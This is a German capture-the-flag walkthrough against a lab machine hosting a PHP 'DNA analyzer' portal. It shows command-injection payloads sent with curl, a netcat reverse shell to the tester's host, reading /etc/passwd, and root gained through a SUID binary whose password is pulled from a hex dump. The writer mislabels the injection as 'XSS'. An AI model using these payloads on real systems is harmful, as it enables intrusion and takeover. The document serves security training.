var xhr = new XMLHttpRequest();
xhr.open("POST", "analyze_dna.php");
xhr.setRequestHeader('Content-type', 'application/json');
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
document.getElementById('dna_res_id_' + id).innerHTML = xhr.responseText;
}
}
xhr.send(JSON.stringify({"id":id,"val":val}));
}
┌──(root㉿CCat)-[~/dnanalyzer]
└─# curl -i -x 127.0.0.1:8081 -d '{"id":"6","val":"GATC"}' http://127.0.0.1/dnanalyzer/portal/analyze_dna.php
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Date: Thu, 01 Aug 2024 10:41:31 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Pragma: no-cache
Server: Apache/2.4.38 (Debian)
Content-Length: 6

Superb

Wir nutzen die XSS-Schwachstelle aus, um beliebigen Code auszuführen.

┌──(root㉿CCat)-[~]
└─# curl -i -x 127.0.0.1:8081 -d '{"id":"6","val":"GATC; ls"}' http://127.0.0.1/dnanalyzer/portal/analyze_dna.php
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Date: Thu, 01 Aug 2024 10:43:15 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Pragma: no-cache
Server: Apache/2.4.38 (Debian)
Content-Length: 9

index.php

wir injizieren den befehl ls, um den Inhalt des Verzeichnisses aufzulisten.

┌──(root㉿CCat)-[~]
└─# curl -i -x 127.0.0.1:8081 -d '{"id":"6","val":"GATC; id"}' http://127.0.0.1/dnanalyzer/portal/analyze_dna.php
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Date: Thu, 01 Aug 2024 10:43:43 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Pragma: no-cache
Server: Apache/2.4.38 (Debian)
Content-Length: 59

Superbuid=33(www-data) gid=33(www-data) groups=33(www-data)

wir injizieren den befehl id, um die Benutzerinformationen auszugeben.

┌──(root㉿CCat)-[~]
└─# curl -i -x 127.0.0.1:8081 -d '{"id":"6","val":"GATC; nc -e /bin/bash 192.168.2.199 8000"}' http://127.0.0.1/dnanalyzer/portal/analyze_dna.php
┌──(root㉿CCat)-[~]
└─# nc -nlvp 8000
listening on [any] 8000 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.128] 51468
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

wir erstellen eine Reverse Shell auf unserem System.

www-data@alphonse:/var/www/html/dnanalyzer/portal$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@alphonse:/var/www/html/dnanalyzer/portal$ sudo -l

wir führen den id befehl aus und schauen, welche Sudo Rechte vorhanden sind.

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
sudo: 2 incorrect password attempts
www-data@alphonse:/var/www/html/dnanalyzer/portal$

leider haben wir keine Sudo rechte bekommen.

www-data@alphonse:/var/www/html/dnanalyzer/portal$ cat /home/alphonse/flag.txt
dmx2urv87f2

wir schauen die user flag an.

www-data@alphonse:/home$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
dnsmasq:x:105:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:113:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:116:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:111:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:120::/var/lib/saned:/usr/sbin/nologin
lightdm:x:113:121:Light Display Manager:/var/lib/lightdm:/bin/false
alphonse:x:1000:1000:alphonse,,,:/home/alphonse:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/sbin/nologin
ftp:x:110:125:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

wir schauen uns die Benutzer an.

www-data@alphonse:/home$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1947 Aug 30 2019 /etc/passwd

Dateirechte der /etc/passwd Datei überprüfen.

Privilege Escalation
www-data@alphonse:/home$ find / -type f -perm -4000 -ls 2>/dev/null
269070 52 -rwsr-xr-- 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

269113 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1

402114 16 -rwsr-sr-x 1 root root 14608 Mar 5 2019 /usr/lib/xorg/Xorg.wrap
272826 428 -rwsr-xr-x 1 root root 436552 Apr 8 2019 /usr/lib/openssh/ssh-keysign
136894 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
34664 380 -rwsr-xr-- 1 root dip 386792 Mar 9 2019 /usr/sbin/pppd
10644 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec
10761 152 -rwsr-xr-x 1 root root 154352 Mar 21 2019 /usr/bin/ntfs-3g
55 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
10750 36 -rwsr-xr-x 1 root root 34896 Jan 7 2019 /usr/bin/fusermount
35104 156 -rwsr-xr-x 1 root root 157192 Jan 12 2019 /usr/bin/sudo
3910 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
3436 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
3908 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
53 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
52 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
3583 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
56 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd

133872 20 -rwsr-xr-x 1 root root 16976 Sep 3 2019 /home/alphonse/Documents/rootme

Suche nach SUID Binaries, die von Root ausführbar sind. Dies könnte ein möglicher Weg zur Privilege Escalation sein. Das Binary /home/alphonse/Documents/rootme ist interessant.

2 Vectors to Exploit
www-data@alphonse:/home$ ls /home/alphonse/Documents/rootme
/home/alphonse/Documents/rootme

Überprüfe, ob das ausführbare Binary rootme im Verzeichnis existiert.

www-data@alphonse:/home/alphonse$ ls -la
total 156
drwxr-xr-x 16 alphonse alphonse 4096 Aug 1 05:03 .
drwxr-xr-x 3 root root 4096 Aug 11 2019 ..
-rw------- 1 alphonse alphonse 161 Aug 1 05:03 .ICEauthority
-rw------- 1 alphonse alphonse 53 Aug 1 05:03 .Xauthority
-rw------- 1 alphonse alphonse 73 Sep 16 2020 .bash_history
-rw-r--r-- 1 alphonse alphonse 220 Aug 11 2019 .bash_logout
-rw-r--r-- 1 alphonse alphonse 3526 Aug 11 2019 .bashrc
drwxr-xr-x 10 alphonse alphonse 4096 Sep 1 2019 .cache
drwxr-xr-x 14 alphonse alphonse 4096 Sep 16 2020 .config
drwx------ 3 alphonse alphonse 4096 Sep 1 2019 .dbus
-rw-r--r-- 1 alphonse alphonse 35 Aug 11 2019 .dmrc
drwx------ 3 alphonse alphonse 4096 Aug 11 2019 .gnupg
drwxr-xr-x 3 alphonse alphonse 4096 Aug 11 2019 .local
drwx------ 5 alphonse alphonse 4096 Aug 11 2019 .mozilla
-rw-r--r-- 1 alphonse alphonse 807 Aug 11 2019 .profile
-rw-r--r-- 1 alphonse alphonse 66 Aug 30 2019 .selected_editor
-rw-r--r-- 1 alphonse alphonse 161 Aug 25 2019 .wget-hsts
-rw-r--r-- 1 alphonse alphonse 11499 Aug 1 05:03 .xfce4-session.verbose-log
-rw-r--r-- 1 alphonse alphonse 11499 Jul 31 16:55 .xfce4-session.verbose-log.last
-rw-r--r-- 1 alphonse alphonse 8789 Sep 1 2019 .xscreensaver
-rw------- 1 alphonse alphonse 3629 Aug 1 05:03 .xsession-errors
-rw------- 1 alphonse alphonse 3755 Jul 31 16:55 .xsession-errors.old
drwxr-xr-x 2 alphonse alphonse 4096 Aug 11 2019 Desktop
drwxr-xr-x 2 alphonse alphonse 4096 Sep 3 2019 Documents
drwxr-xr-x 2 alphonse alphonse 4096 Sep 3 2019 Downloads
drwxr-xr-x 2 alphonse alphonse 4096 Aug 11 2019 Music
drwxr-xr-x 2 alphonse alphonse 4096 Aug 11 2019 Pictures
drwxr-xr-x 2 alphonse alphonse 4096 Aug 11 2019 Public
drwxr-xr-x 2 alphonse alphonse 4096 Aug 11 2019 Templates
drwxr-xr-x 2 alphonse alphonse 4096 Aug 11 2019 Videos
-rw-r--r-- 1 alphonse alphonse 12 Sep 1 2019 flag.txt
-rwxr-xr-x 1 alphonse alphonse 21 Sep 10 2019 lock.sh
-rw-r--r-- 1 alphonse alphonse 65 Aug 30 2019 todo.txt

Dateiliste im Home Verzeichnis von alphonse

www-data@alphonse:/home/alphonse$ cd Documents/
www-data@alphonse:/home/alphonse/Documents$ ls -la
total 28
drwxr-xr-x 2 alphonse alphonse 4096 Sep 3 2019 .
drwxr-xr-x 16 alphonse alphonse 4096 Aug 1 05:03 ..
-rwsr-xr-x 1 root root 16976 Sep 3 2019 rootme

Wir gehen in das Documents verzeichnis rein und sehen die rootme datei.

www-data@alphonse:/home/alphonse/Documents$ ./rootme
./rootme
www-data@alphonse:/home/alphonse/Documents$ ./rootme benhacker1
Wrong password

www-data@alphonse:/home/alphonse/Documents$ xxd rootme
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 3e00 0100 0000 c010 0000 0000 0000 ..>.............
00000020: 4000 0000 0000 0000 d03a 0000 0000 0000 @........:......
00000030: 0000 0000 4000 3800 0b00 4000 1e00 1d00 ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000 ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000 @.......@.......
00000060: 6802 0000 0000 0000 6802 0000 0000 0000 h.......h.......
00000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................
00000080: a802 0000 0000 0000 a802 0000 0000 0000 ................
00000090: a802 0000 0000 0000 1c00 0000 0000 0000 ................
000000a0: 1c00 0000 0000 0000 0100 0000 0000 0000 ................
000000b0: 0100 0000 0400 0000 0000 0000 0000 0000 ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000d0: f806 0000 0000 0000 f806 0000 0000 0000 ................

00000480: 006c 6962 632e 736f 2e36 0073 6574 7569 .libc.so.6.setui
00000490: 6400 6578 6563 6c00 7075 7473 0073 6574 d.execl.puts.set
000004a0: 6772 6f75 7073 0073 6574 6567 6964 0073 groups.setegid.s
000004b0: 6574 6575 6964 005f 5f63 7861 5f66 696e eteuid.__cxa_fin
000004c0: 616c 697a 6500 7365 7467 6964 0073 7472 alize.setgid.str
000004d0: 636d 7000 5f5f 6c69 6263 5f73 7461 7274 cmp.__libc_start
000004e0: 5f6d 6169 6e00 474c 4942 435f 322e 322e _main.GLIBC_2.2.
000004f0: 3500 5f49 544d 5f64 6572 6567 6973 7465 5._ITM_deregiste
00000500: 7254 4d43 6c6f 6e65 5461 626c 6500 5f5f rTMCloneTable.__
00000510: 676d 6f6e 5f73 7461 7274 5f5f 005f 4954 gmon_start__._IT
00000520: 4d5f 7265 6769 7374 6572 544d 436c 6f6e M_registerTMClon
00000530: 6554 6162 6c65 0000 0000 0000 0200 0200 eTable..........

00002000: 0100 0200 2e2f 726f 6f74 6d65 203c 7061 ...../rootme
00002010: 7373 776f 7264 3e00 614e 6867 4b69 3478 ssword>.aNhgKi4x < passwort gefunden
00002020: 754f 0048 6572 6520 796f 7520 676f 3a00 u.Here you go:.

00002030: 6261 7368 002f 6269 6e2f 7368 0057 726f bash./bin/sh.Wro
00002040: 6e67 2070 6173 7377 6f72 64 00 011b 033b ng password....;

aNhgKi4xu

wir nutzen xxd, um den Inhalt der rootme datei anzuschauen und das passwort zu finden.

www-data@alphonse:/home/alphonse/Documents$ ./rootme aNhgKi4xu
Here you go:
# id
uid=0(root) gid=0(root) groups=0(root)

Wir sind jetzt als root angemeldet. Fantastisch der root zugriff war erfolgreit nun haben wie unser Ziel erreicht.

Flags

cat user.txt
d41d8cd98f00b204e9800998ecf8427e
cat root.txt
1b56eefaab2c896e57c874a635b24b49

Hier sind die Flags.